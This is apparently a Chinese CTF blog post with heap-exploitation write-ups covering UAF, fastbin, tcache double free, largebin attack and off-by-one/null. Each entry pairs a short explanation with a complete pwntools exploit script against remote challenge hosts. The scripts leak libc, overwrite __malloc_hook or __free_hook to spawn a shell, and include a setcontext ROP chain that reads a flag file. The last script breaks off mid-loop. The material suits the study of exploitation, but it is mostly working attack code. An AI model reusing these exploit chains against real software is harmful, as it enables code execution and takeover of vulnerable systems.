真·pwn你妈

标题展现我对pwn的热爱

UAF

[攻防世界] hacknote

这道题跟ctfwiki上的有点不同,它不再拥有magic()函数。
先申请两个16字节的node,此时node[0]和node[1]各占8字节,node[0]->Str和node[1]->Str所指向的空间各占16字节。
依次释放node[0]和node[1],fastbin链表为node[1]->node[0]。
此时申请一个8字节的node,由于node[2]node[2]->Str所指向的空间均占8字节,他们会分别申请到node[1]和node[0]。
由此,可通过node[2]控制node[0]->func,当执行output(0)时即可执行我们指定的函数。
由于程序不再拥有magic()函数,考虑先用output()输出puts_got,获取libc基址后再执行system()。
注意node[i]->func的参数是node[i],因此必须借助print_node()输出puts_got,而不能直接用puts_plt。
同理,构造system参数时使用||sh会使程序执行system(“xxxx||sh”),其中xxxx为system在libc中的地址。
这样程序会先尝试system(“xxxx”),如果不成功则会执行system(“sh”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

p = remote('61.147.171.105', 50735)
# p = process('./hacknote')
attachment = ELF('./hacknote')
libc = ELF('./libc_32.so.6')

def add(size, content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Note size :')
p.sendline(size)
p.recvuntil(b'Content :')
p.sendline(content)

def delete(index):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(index)

def output(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(index)

print_node = 0x0804862B
puts_got = attachment.got['puts']
add(b'16', b'')
add(b'16', b'')
delete(b'0')
delete(b'1')
add(b'8', p32(print_node) + p32(puts_got))
output(b'0')

puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

delete(b'2')
add(b'8', p32(system_addr) + b'||sh')
output(b'0')

p.interactive()

ACTF_2019_babyheap

与hacknote相似,题目提供了system()函数和"/bin/sh"字符串。
先申请一个16字节的节点,再申请一个32字节的节点,最后依次释放。
由于程序先释放node[i]->Str再释放node[i],此时fastbin链表为node[1]->node[0]->(node[0]->Str)。
此时再申请一个16字节的节点,即可通过node[2]->Str控制node[0]。将node[0]覆写为"/bin/sh"和system()即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

p = remote('node4.buuoj.cn', 29851)
# p = process('./pwn')

def add(size, content):
p.recvuntil(b'Your choice: ')
p.send(b'1')
p.recvuntil(b'size: ')
p.send(size)
p.recvuntil(b'content: ')
p.send(content)

def delete(index):
p.recvuntil(b'Your choice:')
p.send(b'2')
p.recvuntil(b'index:')
p.send(index)

def print_node(index):
p.recvuntil(b'Your choice:')
p.send(b'3')
p.recvuntil(b'index:')
p.send(index)

system = 0x00000000004007A0
bin_sh = 0x0000000000602010
add(b'16', b'aaaa')
add(b'32', b'bbbb')
delete(b'0')
delete(b'1')
add(b'16', p64(bin_sh) + p64(system))
# gdb.attach(p)
print_node(b'0')

p.interactive()

metasequoia_2020_samsara

利用UAF和输入的Lair编号在栈上伪造堆块改写栈中的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# p = process('./pwn')
p = remote('node4.buuoj.cn', 25142)

def Capture():
p.recvuntil(b'choice > ')
p.sendline(b'1')

def Eat(index):
p.recvuntil(b'choice > ')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())

def Cook(index, Ingredient):
p.recvuntil(b'choice > ')
p.sendline(b'3')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
p.recvuntil(b'Ingredient:')
p.sendline(str(Ingredient).encode())

def Lair():
p.recvuntil(b'choice > ')
p.sendline(b'4')

def Move(kingdom):
p.recvuntil(b'choice > ')
p.sendline(b'5')
p.recvuntil(b'Which kingdom?')
p.sendline(str(kingdom).encode())

def Suicide():
p.recvuntil(b'choice > ')
p.sendline(b'6')

Capture()
Capture()
Eat(0)
Eat(1)

Move(0x21)
Lair()
p.recvuntil(b'Your lair is at: ')
addr = int(p.recvline().strip(), 16)

Cook(1, addr - 8)
Capture()
Capture()
Cook(3, 0xdeadbeef)
Suicide()

p.interactive()

Fastbin Attact

babyheap_0ctf_2017

程序存在堆任意长度溢出漏洞。
利用unsorted bin泄露main_arena地址,然后利用malloc_hook与one_gadget攻击。
首先创建4个0x10的堆,和一个0x100的堆,然后释放1、2两个堆。此时Fastbin链表为idx2->idx1。
利用idx0堆块覆写idx2堆块的fd指针为idx4,由于堆块起始后两位为0x00,idx4堆块后两位必定为0x80。
利用idx3堆块覆写idx4堆块的大小为0x21,以绕过大小检查。此时Fastbin链表为idx2->idx4。
然后再申请两个0x10的堆块,idx2和idx4中的指针将指向同一块堆块————idx4。
利用idx3堆块覆写恢复idx4堆块的大小,并free,它会被保存到unsorted bin中。
利用idx2可以输出unsorted bin的地址。它由libc版本决定为main_arena+88。
利用脚本可以获取到此libc中基址到main_arena的偏移。可以计算出libc基址。

利用objdump libc-2.23-64.so -D -M intel | grep __malloc_hook指令可以获取到malloc_hook在libc中的偏移。

在malloc_hook附近寻找可以伪造成Fastbin的数据。

选择malloc_hook - 35的地方。

利用idx2堆块覆写idx4堆块的fd指针,使得Fastbin链表变为idx4->(malloc_hook - 35)。
利用one_gadget寻找可以利用的攻击片段。

利用申请到的伪造堆块覆写malloc_hook,当再次执行malloc时将会触发攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

p = remote('node4.buuoj.cn', 29563)
# p = process('./pwn')

def Allocate(size):
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(size)

def Fill(index, size, content):
p.recvuntil(b'Command: ')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(index)
p.recvuntil(b'Size: ')
p.sendline(size)
p.recvuntil(b'Content: ')
p.sendline(content)

def Free(index):
p.recvuntil(b'Command: ')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(index)

def Dump(index):
p.recvuntil(b'Command: ')
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(index)

Allocate(b'16')
Allocate(b'16')
Allocate(b'16')
Allocate(b'16')
Allocate(b'256')

Free(b'1')
Free(b'2')
content = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + b'\x80'
Fill(b'0', str(len(content)).encode(), content)
content = p64(0) * 3 + p64(0x21)
Fill(b'3', str(len(content)).encode(), content)
Allocate(b'16')
Allocate(b'16')

content = p64(0) * 3 + p64(0x111)
Fill(b'3', str(len(content)).encode(), content)
Allocate(b'256') #防止4号块被合并到top chunk中
Free(b'4')
Dump(b'2')
p.recvline()
libc_base = u64(p.recv(8)) - 88 - 0x3c4b20
log.info("libc_base: " + hex(libc_base))

malloc_hook = 0x3c4b10 + libc_base
log.info("malloc_hook: " + hex(malloc_hook))
Allocate(b'96')
Free(b'4')
content = p64(malloc_hook - 35)
Fill(b'2', str(len(content)).encode(), content)
Allocate(b'96')
Allocate(b'96')

content = b'\x00' * (35 - 16) + p64(libc_base + 0x4526a)
Fill(b'6', str(len(content)).encode(), content)
Allocate(b'32')

p.interactive()

[ZJCTF 2019]EasyHeap

这题好傻逼啊,给了拿flag的函数,运行告诉我目录不存在。。。

此题不存在打印堆块内容的函数,但Edit函数存在堆任意长度溢出漏洞。
先申请2个0x60大小的堆块,释放掉idx1的堆。
利用idx0覆写idx1的fd指针为heaparray附近某处。再申请2个0x60大小的堆。
利用idx2的堆覆写heaparray[0]为free的got表地址。
此时编辑idx0的堆便会修改free的got表,我们将其改为system的plt表。
这时,当我们执行free函数时会发生call free -> free.plt -> free.got -> system.plt -> system.got -> system。
现在,将idx1的堆写入"/bin/sh"并执行Free(1),即可提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

p = remote('node4.buuoj.cn', 28410)
# p = process('./pwn')
attachment = ELF('./pwn')

def Create(size, content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Size of Heap : ')
p.sendline(str(size).encode())
p.recvuntil(b'Content of heap:')
p.sendline(content)

def Edit(index, len, content):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
p.recvuntil(b'Size of Heap : ')
p.sendline(str(len).encode())
p.recvuntil(b'Content of heap : ')
p.sendline(content)

def Free(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())

Create(0x60, b'')
Create(0x60, b'')

Free(1)
content = p64(0) * 13 + p64(0x71) + p64(0x6020E0 - 51)
Edit(0, len(content), content)
Create(0x60, b'')
Create(0x60, b'')

content = b'\x00' * (51 - 16) + p64(attachment.got['free'])
Edit(2, len(content), content)
content = p64(attachment.plt['system'])
Edit(0, len(content), content)
content = b'/bin/sh'
Edit(1, len(content), content)
Free(1)

p.interactive()

Double Free

actf_2019_message

tcachebins double free。
首先创建3个堆块并按照1.2.1的顺序释放,使得tcachebins链表变为idx1->idx2->idx1->idx2->…
创建一个堆,同时覆写idx1的fd指针为message[]数组附近,链表变为idx2->idx1->message->…
创建2个堆。配合message[0].len创建出伪造堆块,并覆写message[0].ptr为puts的got表地址。
将其打印出来并计算各种地址。
利用伪造堆块将message[0].ptr覆写为__free_hook地址。
编辑idx0使得__free_hook地址上是system的地址。
free掉一个写有"/bin/sh\x00"的堆块即可提权。
tcachebin的fd指针指向下一个chunk+0x10的位置,且古早时期没有大小检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from LibcSearcher import *

# p = remote('node4.buuoj.cn', 27232)
p = process('./pwn')
attachment = ELF('./pwn')

def add(len, content):
p.recvuntil(b"What's your choice: ")
p.sendline(b'1')
p.recvuntil(b'Please input the length of message:')
p.sendline(str(len).encode())
p.recvuntil(b'Please input the message:')
p.sendline(content)

def delete(index):
p.recvuntil(b"What's your choice: ")
p.sendline(b'2')
p.recvuntil(b'Please input index of message you want to delete:')
p.sendline(str(index).encode())

def edit(index, content):
p.recvuntil(b"What's your choice: ")
p.sendline(b'3')
p.recvuntil(b'Please input index of message you want to edit:')
p.sendline(str(index).encode())
p.recvuntil(b'Now you can edit the message:')
p.sendline(content)

def display(index):
p.recvuntil(b"What's your choice: ")
p.sendline(b'4')
p.recvuntil(b'Please input index of message you want to display:')
p.sendline(str(index).encode())

add(0x20, b'')
add(0x20, b'')
add(0x20, b'')
delete(1)
delete(2)
delete(1)

array = 0x602060
add(0x20, p64(array + 8))
add(0x20, b'')
add(0x20, b'')
add(0x20, p64(attachment.got['puts']))

display(0)
p.recvuntil(b'The message: ')
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
print(hex(puts_addr))

libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']

edit(6, p64(free_hook_addr))
edit(0, p64(system_addr))
edit(3, b'/bin/sh\x00')
delete(3)

p.interactive()

[2018强网杯]raisepig

首先创建并释放7个块将tcache bins灌满,然后再创建并释放一个同样大小的块,它就会进入到unsorted bins中。
创建一个比它小的块,将main_arena + 96的地址泄露出来。此时可以计算各种地址了。
再利用tcache bins double free在__free_hook处创建堆块,覆写为system地址。
再释放一个写有"/bin/sh"的堆块即可提权。
这道题如果走__malloc_hook我尝试的one_gadget一个都用不了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

# context.log_level = 'debug'
p = remote('node4.buuoj.cn', 28276)
# p = process('./pwn')
attachment = ELF('./pwn')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def create(len, name, type):
p.recvuntil(b'Your choice : ')
p.sendline(b'1')
p.recvuntil(b'Length of the name :')
p.sendline(str(len).encode())
p.recvuntil(b'The name of pig :')
p.sendline(name)
p.recvuntil(b'The type of the pig :')
p.sendline(type)

def visit():
p.recvuntil(b'Your choice : ')
p.sendline(b'2')

def eat(index):
p.recvuntil(b'Your choice : ')
p.sendline(b'3')
p.recvuntil(b'Which pig do you want to eat:')
p.sendline(str(index).encode())

def clear():
p.recvuntil(b'Your choice : ')
p.sendline(b'4')

create(0x80, b'', b'0')
create(0x80, b'', b'1')
create(0x80, b'', b'2')
create(0x80, b'', b'3')
create(0x80, b'', b'4')
create(0x80, b'', b'5')
create(0x80, b'', b'6')
create(0x80, b'', b'7')
create(0x80, b'', b'8') #防合并
eat(0)
eat(1)
eat(2)
eat(3)
eat(4)
eat(5)
eat(6)

eat(7)
create(0x20, b'9999999', b'9')
visit()
p.recvuntil(b'Name[9]')
p.recvline()
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - 96 - 0x3ebc40
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base), hex(free_hook_addr), hex(system_addr))

create(0x60, b'', b'10')
create(0x60, b'', b'11')
create(0x60, b'', b'12') #防合并
eat(10)
eat(11)
eat(10)

create(0x60, p64(free_hook_addr), b'13')
create(0x60, b'/bin/sh\x00', b'14')
create(0x60, b'', b'15')
create(0x60, p64(system_addr), b'16')
eat(14)

p.interactive()

Largebin Attack

Elder Ring III

题目存在UAF漏洞,只能申请大堆块,打largebin attack。
首先将一个块放到largebin里去,通过它拿到各种想要的地址。
先将一个块放入largebin中,修改其fd_nextsize和bk_nextsize为mp_ + 0x30。
接着准备一个比这个块小,但在同一分组的块,将其也释放到largebin中。
此时会因为glibc执行了victim->bk_nextsize->fd_nextsize = victim,使得我们在mp_ + 0x50的地方写入了一个堆地址。
mp_ + 0x50的地方掌管tcache bin的最大大小。修改之后我们就可以释放一个0x500的东西进入tcache bin。
由于正常的tcache bin只有7个链表头,0x500太大了,它的链表头最终会超出0x290的预备堆块,被写到1号块中。
直接修改这个链表头为free_hook_addr即可。

由下面的源码可知,我们需要的tcache_bins紧邻sbrk_base。因此,我们先找到sbrk_base的地址,在搜索哪里调用了这个地址,那么这个地址的下一行就是tchache_bins。寻找过程如图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

# context.log_level = 'debug'

p = process('./ERIII')
# p = remote('', )
# attachment = ELF('./')
libc = ELF('./2.32-0ubuntu3.2_amd64/libc.so.6')

def create(index, size):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())

def delete(index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'Index: ', str(index).encode())

def edit(index, content):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendafter(b'Content: ', content)

def show(index):
p.sendlineafter(b'>', b'4')
p.sendlineafter(b'Index: ', str(index).encode())

create(1, 0x500)
create(2, 0x600)
create(3, 0x700)
delete(1)
delete(3)
create(4, 0x700)
show(1)
# gdb.attach(p)

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1e4030
mp_addr = libc_base + 0x1e3280 # obstack_exit_failure - 0x70
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base), hex(mp_addr), hex(free_hook_addr))

create(10, 0x500) # take out 1
create(5, 0x700) # chunk1
create(6, 0x500)
create(7, 0x6f0) # chunk2
create(8, 0x500)
delete(5)
create(9, 0x900)
delete(7)
show(5)
fd = u64(p.recv(6).ljust(8,b"\x00"))
edit(5, p64(fd) * 2 + p64(mp_addr + 0x50 - 0x20) * 2)
create(11, 0x900)
# gdb.attach(p)

create(2, 0x500)
delete(2)
edit(1, p64(0) * 13 + p64(free_hook_addr))
create(3, 0x500)
edit(3, p64(system_addr))
edit(6, b'/bin/sh\x00')
delete(6)

# gdb.attach(p)

p.interactive()

off by one

asis2016_b00ks

这道题在本地可以打通,buu上死活打不通。
my_read()函数存在off by null漏洞,且author_name与book_list连在了一起。
打印author_name的同时会将下面的book1地址一起打印出来。
开辟适当大小的book1,并更改author_name可以使得原book_list最后一字节变为\x00,指向原book1的desc部分。
创建book2使得其name释放后可以进入unsorted bin。
在原book1的desc处伪造一个新的book1结构体,其name指向book2的name。
释放book2并打印,可以通过新book1得到main_arena地址。可以以此计算各种其他地址。
创建book3,大小与book2一致。如果新book1的desc指向book3的desc,便可以:
编辑book1,让book3的desc指向__free_hook。再编辑book3,让__free_hook指向system。
之后释放一个写有"/bin/sh"的堆即可get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

# context.log_level = 'debug'
p = process('./pwn')
# p = remote('node4.buuoj.cn', 27133)
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def create(NameSize, name, DescSize, desc):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Enter book name size: ')
p.sendline(str(NameSize).encode())
p.recvuntil(b'Enter book name (Max 32 chars): ')
p.sendline(name)
p.recvuntil(b'Enter book description size: ')
p.sendline(str(DescSize).encode())
p.recvuntil(b'Enter book description: ')
p.sendline(desc)

def delete(index):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete: ')
p.sendline(str(index).encode())

def edit(index, desc):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit: ')
p.sendline(str(index).encode())
p.recvuntil(b'Enter new book description: ')
p.sendline(desc)

def show():
p.recvuntil(b'> ')
p.sendline(b'4')

def change(author):
p.recvuntil(b'> ')
p.sendline(b'5')
p.recvuntil(b'Enter author name: ')
p.sendline(author)

p.recvuntil(b'Enter author name: ')
p.sendline(b'a' * 32)
create(0x20, b'', 0x100, b'')
show()
p.recvuntil(b'a' * 32)
list_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
print(hex(list_addr))

edit(1, b'\x00' * 0xb0 + p64(1) + p64(list_addr + 0x30) + p64(list_addr + 0xd0) + p64(0xff))
change(b'a' * 32)
create(0x80, b'', 0x20, b'')
delete(2)

show()
p.recvuntil(b'Name: ')
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - 88 - 0x3c3b20
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print('libc_base: ' + hex(libc_base))
print('free_hook: ' + hex(free_hook_addr))
print('system: ' + hex(system_addr))

create(0x80, b'/bin/sh\x00', 0x20, b'')
edit(1, p64(free_hook_addr) + p64(0x20))
edit(3, p64(system_addr))
delete(3)

p.interactive()

heapcreator

edit()函数存在明显的off by one漏洞。
首先创建两个块,再编辑idx0->str并溢出一位,该位可覆写idx1的大小。
释放idx1再创建一个符合大小的块,实现堆重叠。由于大小问题,idx1->str在idx1的上方。
编辑idx1->str,使得idx指向free()函数的got表。将其show出来即可计算各种地址。
利用idx2和idx3再这样重叠一个堆。并使得idx3指向free_hook地址。
编辑idx3->str使得free_hook指向system。
释放写有’/bin/sh’的堆提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *

# p = process('./pwn')
p = remote('node4.buuoj.cn', 29063)
attachment = ELF('./pwn')

def create(size, content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Size of Heap : ')
p.sendline(str(size).encode())
p.recvuntil(b'Content of heap:')
p.sendline(content)

def edit(index, content):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
p.recvuntil(b'Content of heap : ')
p.sendline(content)

def show(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())

def delete(index):
p.recvuntil(b'Your choice :')
p.sendline(b'4')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())

create(0x18, b'')
create(0x10, b'')
create(0x18, b'')
create(0x10, b'')
create(0x10, b'')
edit(0, b'/bin/sh\x00' + b' ' * 0x10 + b'\x81')

delete(1)
create(0x70, b'')
edit(1, p64(0) * 3 + p64(0x21) + p64(0x70) + p64(attachment.got['free']))
show(1)

p.recvuntil(b'Content : ')
free_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
free_hook_addr = libc_base + libc.dump('__free_hook')

edit(2, b' ' * 0x18 + b'\x81')
delete(3)
create(0x70, b'')
edit(3, p64(0) * 3 + p64(0x21) + p64(0x70) + p64(free_hook_addr))
edit(3, p64(system_addr))
delete(0)

p.interactive()

[BALSN-CTF2019]plaintext

create的时候存在off by null漏洞,同时开启沙箱需要orw。
libc-2.29版本的off-by-null由于添加了更多的检测,导致我们之前的方法不再适用。
但我们依旧可以利用large bins和small bins留下的遗产来帮助我们完成攻击。
为了方便调试,关闭本机ASLR。

首先由于此题开启了沙箱,bins里面会有一堆乱七八糟的东西,我们先把他清理干净,并创建一些堆块备用。

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(16):
create(0x10, b'a')
for i in range(16):
create(0x60, b'a')
for i in range(9):
create(0x70, b'a')
for i in range(5):
create(0xc0, b'a')
for i in range(2):
create(0xe0, b'a')
for i in range(7):
create(0x28, b'a') # prepared to fill the tcache bins
create(0x8bf0, b'a') # 55

首先我们申请一个大堆块,将其释放掉,然后再申请一个更大的堆块使得之前申请的堆块进入large bins,然后再带着他的遗产申请回来。

1
2
3
4
5
6
# get a fake chunk *in* number 58
create(0xbf0, b'a') # 56
create(0x20, b'a') # 57
delete(56)
create(0x1000, b'a') # 56
create(0x28, p64(0) + p64(0x521) + b'\xa0') # 58

此时伪造的堆块在第58号块内,填充的数据暂时不用管。
接下来我们要伪造FAKE.fd->bk = FAKE。由于我们有large bins的遗产,此时FAKE.fdFAKE.bk均指向第58号块。
将两个堆块释放到small bins中,让他的bk带上其遗产。申请回来的时候将最后一字节指向FAKE。由于off by null的存在,我们需要FAKE的倒数第二字节是0。
此时我们就可以找到上一步应当覆写地址,使得FAKE.fd指向61号块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# FAKE.fd->bk = FAKE, FAKE.fd is number 61
create(0x28, b'a') # 59
create(0x28, b'a')
create(0x28, b'a')
create(0x28, b'a') # 62
for i in range(7):
delete(48 + i)
delete(59)
delete(61)
for i in range(7):
create(0x28, b'a')
create(0x400, b'a') # 59
create(0x28, p64(0) + b'\x20') # 61
create(0x28, b'a') # 63
# 58 63 60 61 62 59(0x400)

接下来我们要伪造FAKE.bk->fd = FAKE。由于我们有large bins的遗产,此时FAKE.bk指向第58号块。
我们释放58号块,让chunk58.fd上有东西,然后覆写为FAKE地址即可。

1
2
3
4
5
6
7
8
9
# FAKE.bk->fd = FAKE, FAKE.bk is number 58, whitch contains the fake chunk
for i in range(7):
delete(48 + i)
delete(60)
delete(58)
for i in range(7):
create(0x28, b'a')
create(0x28, b'\x20') # 58
create(0x28, b'a') # 60

接下来我们就可以愉快地构造chunk overlap了。此时我们就创造出来了一块0xb11的堆。

1
2
3
4
5
6
7
# off by null + unlink = chunk overlap
create(0x28, b'a') # 64
create(0x5f8, b'a') # 65
create(0xc0, b'a') # 66 to clean the bins
delete(64)
create(0x28, b'\x00' * 0x20 + p64(0x520)) # 64
delete(65)

接下来我们获取一下libc基址。创建一个堆使得FAKE的堆头与60号堆相同,然后打印出来。

1
2
3
4
5
6
# get libc
create(0x40, b'a') # 65
show(60)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1E4CA0
free_hook_addr = libc_base + libc.symbols['__free_hook']
print(hex(libc_base), hex(free_hook_addr))

为了方便orw,我们还需要获取堆地址。申请一个堆块,使得FAKE堆头与59号堆相同。再申请一个堆块并释放掉,让它的fd上有东西。这里要控制好大小,不要让fd中存在0字节。之后利用重叠堆块将其输出出来。

1
2
3
4
5
6
7
8
9
10
11
# get heap
create(0x80, b'a') # 67
create(0x28, b'a') # 68 = 59
create(0x28, b'a') # 69
delete(69)
delete(68)
show(59)
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
create(0x28, b'a')
create(0x28, b'a')

接下来我们让__free_hook的地方写上一个magic gadget。由于2.29版本的setcontext函数中使用rdx而非rdi,因此我们需要用这个magic gadget来调整rdx的值。这个gadget用ROPgadget找不到,要用ropper。
它长这个样子mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

1
2
3
4
5
6
7
8
9
10
11
12
13
# let __free_hook be the magic gadget
magic_gadget = libc_base + 0x12be97
for i in range(7):
delete(48 + i)
delete(68)
delete(69)
delete(59) # notice that chunk number 59 is equal to chunk number 68
for i in range(7):
create(0x28, b'a')
create(0x28, p64(free_hook_addr))
create(0x28, b'a')
create(0x28, b'a')
create(0x28, p64(magic_gadget))

接下来我们进行orw。由于__free_hook备我们修改,p64(setcontext_addr + 53) + p64(heap_addr - 0x60)会让程序去执行setcontext_addr + 53同时rdx是p64(heap_addr - 0x60)。在执行setcontext的时候会让p64(heap_addr + 0x60)成为rsp,p64(ret)成为rip。之后程序就会按照我们布局的伪造的栈来进行orw了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# orw
setcontext_addr = libc_base + libc.symbols['setcontext']
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
pop_rax_ret = libc_base + 0x47cf8
syscall_ret = libc_base + 0xcf6c5
ret = libc_base + 0xc18ff

payload = p64(setcontext_addr + 53) + p64(heap_addr - 0x60) + p64(heap_addr + 0x60) + p64(ret) + b'./flag\x00\x00' + p64(0)
payload += p64(pop_rdi_ret) + p64(heap_addr + 0x50)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall_ret)
create(0x400, payload) # 71
# gdb.attach(p, 'b *setcontext+53')
delete(71)

由于没有找到远程的环境,只好自己本地起一个了,这是目前做到的难度最大的一个,纪念一下。

以下是完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *

p = process('./note')
# p = remote('', )
# attachment = ELF('./')
libc = ELF('./libc-2.29.so')

def create(size, content):
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Content: ', content)

def delete(index):
p.sendlineafter(b'Choice: ', b'2')
p.sendlineafter(b'Idx: ', str(index).encode())

def show(index):
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Idx: ', str(index).encode())

while True:
try:
for i in range(16):
create(0x10, b'a')
for i in range(16):
create(0x60, b'a')
for i in range(9):
create(0x70, b'a')
for i in range(5):
create(0xc0, b'a')
for i in range(2):
create(0xe0, b'a')
for i in range(7):
create(0x28, b'a') # prepared to fill the tcache bins
create(0x8bf0, b'a') # 55
# ---------------清空bins,分割战场--------------- #

